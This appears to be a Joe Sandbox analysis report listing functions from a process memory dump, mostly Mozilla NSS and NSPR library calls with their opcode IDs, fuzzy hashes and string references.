Function 6CF15CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CF12BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CF12A28,00000060,00000001), ref: 6CF12BF0
Part of subcall function 6CF12BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CF12A28,00000060,00000001), ref: 6CF12C07
Part of subcall function 6CF12BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CF12A28,00000060,00000001), ref: 6CF12C1E
Part of subcall function 6CF12BE0: free.MOZGLUE(?,00000000,00000000,?,6CF12A28,00000060,00000001), ref: 6CF12C4A

free.MOZGLUE(?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15D0F
free.MOZGLUE(?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15D4E
free.MOZGLUE(?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15D62
free.MOZGLUE(?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15D85
free.MOZGLUE(?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15D99
free.MOZGLUE(?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CF15E3E
free.MOZGLUE(?,?,?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CF15E47
free.MOZGLUE(?,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CF1AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CF15E78
free.MOZGLUE(?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF15EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF15EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF15F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CF1AAD4), ref: 6CF15F4B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 7fa33b9d56b8726020a0e72f505d00c7f85dc303d1f62c01a65bf83b23abb90e
Instruction ID: f70a52df957ddc80239cea9c32eaf4be64cdae1f047a0395791fd5861cbdc279
Opcode Fuzzy Hash: 7fa33b9d56b8726020a0e72f505d00c7f85dc303d1f62c01a65bf83b23abb90e
Instruction Fuzzy Hash: C5717CB9E04B019FD700DF24D884A92B7F5BF89308F148569E85E87B11EB31F955CB91

Function 6CE98DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CE98E22
EnterCriticalSection.KERNEL32(?), ref: 6CE98E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CE98E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CE98E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE98E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE98EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CE98EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE98EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CE98F00
free.MOZGLUE(?), ref: 6CE98F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CE98F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CE98F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CE98F5B
PR_Unlock.NSS3(?), ref: 6CE98F72
PR_Unlock.NSS3(?), ref: 6CE98F82

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: d8661efc7c88ac50b8aff055bafa59cc7b007d8490823db2bab26ab16469e728
Instruction ID: baafa859d2b76e269f54297f13c659c5d32eb6b42a62aab9d47e4c85eab375b6
Opcode Fuzzy Hash: d8661efc7c88ac50b8aff055bafa59cc7b007d8490823db2bab26ab16469e728
Instruction Fuzzy Hash: E65108B2E00215AFEB209F68CC8596EB7B9FF45358F25412AEC189B720E731ED4587D1

Function 6CEBCE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CEBCE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CEBCEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CEBCED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CEBCEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CEBCF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CEBCF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CEBCF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CEBCF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CEBCF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CEBCFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CEBCFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CEBCFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CEBCFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CEBD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CEBD021

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 9b38addcc5a4478e1ba4665d9a1a6f54ec052fd4a711fcf1a576a3bbcc354bf7
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 1031747571291127EF0E10565F21BEE206A8B7931EF55003CFD0AF97C0F695AB1702E5

Function 6CF90FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CF91000

Part of subcall function 6CF49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE71A48), ref: 6CF49BB3
Part of subcall function 6CF49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE71A48), ref: 6CF49BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF91016

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_Unlock.NSS3(?), ref: 6CF91021

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF91046
PR_Unlock.NSS3(?), ref: 6CF9106B
PR_Lock.NSS3 ref: 6CF91079
PR_Unlock.NSS3 ref: 6CF91096
free.MOZGLUE(?), ref: 6CF910A7
free.MOZGLUE(?), ref: 6CF910B4
PR_DestroyCondVar.NSS3(?), ref: 6CF910BF
PR_DestroyCondVar.NSS3(?), ref: 6CF910CA
PR_DestroyCondVar.NSS3(?), ref: 6CF910D5
PR_DestroyCondVar.NSS3(?), ref: 6CF910E0
PR_DestroyLock.NSS3(?), ref: 6CF910EB
free.MOZGLUE(?), ref: 6CF91105

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 17d13a726b9e0bb4de00326944560b49b7819770bab98fc56034a4f6eda7944f
Instruction ID: 8de8bc7679250780993329c09373c9afcce98d5637bd20a3664f691e8ef6daae
Opcode Fuzzy Hash: 17d13a726b9e0bb4de00326944560b49b7819770bab98fc56034a4f6eda7944f
Instruction Fuzzy Hash: 2E316AB5A00801ABEB019F25ED41A85BB75BF05318B588134E80953F61EB32F978DBD2

Function 6CE0DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CE0DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CE0DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CE0DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CE0DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0DECD

Strings

%s at line %d of [%.10s], xrefs: 6CE0DF7C, 6CE0DFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE0DF6D, 6CE0DFCC, 6CE0DFDD
database corruption, xrefs: 6CE0DF77, 6CE0DFE7

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 143ae0ab91d5e11f876062f218779e013b1bb8d86183cae2b9772ce41b6f3de5
Instruction ID: 4a3204f2cb3277fdf9ceccd5690b98989d96aa535a504a19e16eb732d954703e
Opcode Fuzzy Hash: 143ae0ab91d5e11f876062f218779e013b1bb8d86183cae2b9772ce41b6f3de5
Instruction Fuzzy Hash: 44A1E775B042019FD710CF29C481A6AB7F5EF85308F25892DF8898BB41D731EA66CBD2

Function 6CECEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CECEE0B

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CECEEE1

Part of subcall function 6CEC1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CEC1D7E
Part of subcall function 6CEC1D50: EnterCriticalSection.KERNEL32(?), ref: 6CEC1D8E
Part of subcall function 6CEC1D50: PR_Unlock.NSS3(?), ref: 6CEC1DD3

TlsGetValue.KERNEL32 ref: 6CECEE51
EnterCriticalSection.KERNEL32(?), ref: 6CECEE65
PR_Unlock.NSS3(?), ref: 6CECEEA2
free.MOZGLUE(?), ref: 6CECEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CECEED0
PR_Unlock.NSS3(?), ref: 6CECEF48
free.MOZGLUE(?), ref: 6CECEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CECEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CECEFA4
free.MOZGLUE(?), ref: 6CECEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CECF055
free.MOZGLUE(?), ref: 6CECF060

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 4aa684fc468de0a620bb63bc158ecbc72b8f62d6bc84d9218f1ed1c1a179ca38
Instruction ID: 9627b17514e22eaad24166f57b121db8c4864201c86a4f694935572fc06e80b8
Opcode Fuzzy Hash: 4aa684fc468de0a620bb63bc158ecbc72b8f62d6bc84d9218f1ed1c1a179ca38
Instruction Fuzzy Hash: C5817F71E00609AFDF009FA4DD46BDE7BB5BF09348F640028E919A7711E735E924CBA2

Function 6CE94CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CE94D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CE94D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CE94DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE94E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CE94E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CE94E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CE94E85
DER_Encode_Util.NSS3(?,?,6CFE05A4,00000000), ref: 6CE94EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CE94F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CE94F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE94F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE94F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE94F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE94FC8

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 6e6e2c6952ea2862671d83cb3af528e8da80cf8e406637cbb358084a83ff30aa
Instruction ID: 1303cf848584e64163d4cfe47c6a4f842e94c83dd67ca5a33b59c65c37270530
Opcode Fuzzy Hash: 6e6e2c6952ea2862671d83cb3af528e8da80cf8e406637cbb358084a83ff30aa
Instruction Fuzzy Hash: 6281A171904302AFE701CF64D841B5AB7F4AB8934CF24892EF969DB741EB31E905CB92

Function 6CED5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CED5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CED5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CED5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CED5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CED5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CED5E18
TlsGetValue.KERNEL32 ref: 6CED5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CED5E72
PR_Unlock.NSS3(?), ref: 6CED5E8B

Part of subcall function 6CECF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CECF854
Part of subcall function 6CECF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CECF868
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CECF882
Part of subcall function 6CECF820: free.MOZGLUE(04C483FF,?,?), ref: 6CECF889
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CECF8A4
Part of subcall function 6CECF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CECF8AB
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CECF8C9
Part of subcall function 6CECF820: free.MOZGLUE(280F10EC,?,?), ref: 6CECF8D0

Strings

d, xrefs: 6CED5C36
tokens=[0x%x=<%s>], xrefs: 6CED5D3D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: e1459d98c7acd07144b2e61a390a737e1fcd59606d6caf5ce753f01339cbfa47
Instruction ID: b090edb8a971c571358ad148c2eea2a5d0db823edd9b6a70960ef6beaa0fb541
Opcode Fuzzy Hash: e1459d98c7acd07144b2e61a390a737e1fcd59606d6caf5ce753f01339cbfa47
Instruction Fuzzy Hash: 3671E3F5E022029BEB00AF24EC41B6A3375EF4531CF350439DC099AB42EB36F956C692

Function 6CEC8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CEC9582), ref: 6CEC8F5B

Part of subcall function 6CEDBE30: SECOID_FindOID_Util.NSS3(6CE9311B,00000000,?,6CE9311B,?), ref: 6CEDBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CEC8F6A

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEC8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CEC8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CFAD820,6CEC9576), ref: 6CEC8FF9
DER_GetInteger_Util.NSS3(?), ref: 6CEC901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CEC903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEC9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CEC90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CEC90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CEC90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEC912D
free.MOZGLUE(00000000), ref: 6CEC9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CEC9145

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 4960b13a8e9437c86e3ad6a8dfcbf20bfb881bcf0475586cff96484f22484b6c
Instruction ID: ffa23ddf3dd80153826857a83778c7b1d07f9a0daab1eae0f20428a3d23dda07
Opcode Fuzzy Hash: 4960b13a8e9437c86e3ad6a8dfcbf20bfb881bcf0475586cff96484f22484b6c
Instruction Fuzzy Hash: 8951C0B2A042409BEB10CF289D42B9AB7F4AF8435CF254529EC6497741EB35E945CB93

Function 6CF54C40 Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CF54CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF54CFD
sqlite3_value_text16.NSS3(?), ref: 6CF54D44

Strings

abort due to ROLLBACK, xrefs: 6CF54D27, 6CF54D33
invalid, xrefs: 6CF54CF1
no more rows available, xrefs: 6CF54D2E
nsp.dll, xrefs: 6CF54D60
another row available, xrefs: 6CF54D20
unknown error, xrefs: 6CF54D56
out of memory, xrefs: 6CF54C78, 6CF54C9E
API call with %s database connection pointer, xrefs: 6CF54CF6
bad parameter or other API misuse, xrefs: 6CF54D05

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$nsp.dll$out of memory$unknown error
API String ID: 2274617401-219518804
Opcode ID: 170a493b1aeecb09335f3fee6bb111be72557a0d620d866bc7f6eac8906d9d0e
Instruction ID: 9d46b97f3a0bb891fd986e72e1f0701fa497f54bb14d2efa3100211ef52155f7
Opcode Fuzzy Hash: 170a493b1aeecb09335f3fee6bb111be72557a0d620d866bc7f6eac8906d9d0e
Instruction Fuzzy Hash: 06316C73E08911A7E7084629A8097E6BF727BE3318FD50129DB245BE58C721BC71C3E2

Function 6CE7AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CE7AF47

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

FreeLibrary.KERNEL32(?), ref: 6CE7AF6D
free.MOZGLUE(?), ref: 6CE7AFA4
free.MOZGLUE(?), ref: 6CE7AFAA
PR_ExitMonitor.NSS3 ref: 6CE7AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CE7AFF5
PR_ExitMonitor.NSS3 ref: 6CE7B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE7B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CE7B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE7B03C

Strings

Unloaded library %s, xrefs: 6CE7B023
%s decr => %d, xrefs: 6CE7AFF0

